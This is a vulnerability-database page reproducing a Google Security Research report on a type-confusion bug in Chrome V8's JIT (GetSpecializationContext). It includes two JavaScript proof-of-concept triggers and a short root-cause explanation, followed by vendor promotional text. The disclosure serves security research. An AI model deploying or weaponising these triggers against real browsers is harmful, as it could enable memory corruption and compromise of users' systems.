Lucene search
K

Chrome V8 JIT GetSpecializationContext Type Confusion Exploit

🗓️ 06 Mar 2018 00:00:00Reported by Google Security ResearchType 
zdt
 zdt
🔗 0day.today👁 25 Views

Type Confusion in Chrome V8 JIT GetSpecializationContex

Code
Chrome: V8: JIT: Type confusion in GetSpecializationContext 



PoC:
function* opt(arg = () => arg) {
    let tmp = opt.x;  // LdaNamedProperty
    for (;;) {
        arg;
        yield;

        function inner() {
            tmp;
        }

        break;
    }
}

for (let i = 0; i < 100000; i++) {
    opt();
}

PoC for release build:
function* opt(arg = () => {
    arg;
    this;
}, opt) {
    let tmp = arg.x;
    for (;;) {
        arg;
        yield;

        tmp = {
            inner() {
                tmp;
            }
        };
    }
}

for (let i = 0; i < 10000; i++) {
    opt();
}

What happened here is:
1. The LdaNamedProperty operation "opt.x" was lowered to a graph exit in the graph builder. This set the current environment to nullptr (BytecodeGraphBuilder::ApplyEarlyReduction).
2. The environment for the next block (for-loop) was supposed to be created from merging with the previous environment, but it had been set to nullptr at 1. So the context value remained as "undefined".
3. But GetSpecializationContext directly casted the context value to Context* which resulted in type confusion.

#  0day.today [2018-03-13]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Mar 2018 00:00Current
7.1High risk
Vulners AI Score7.1
25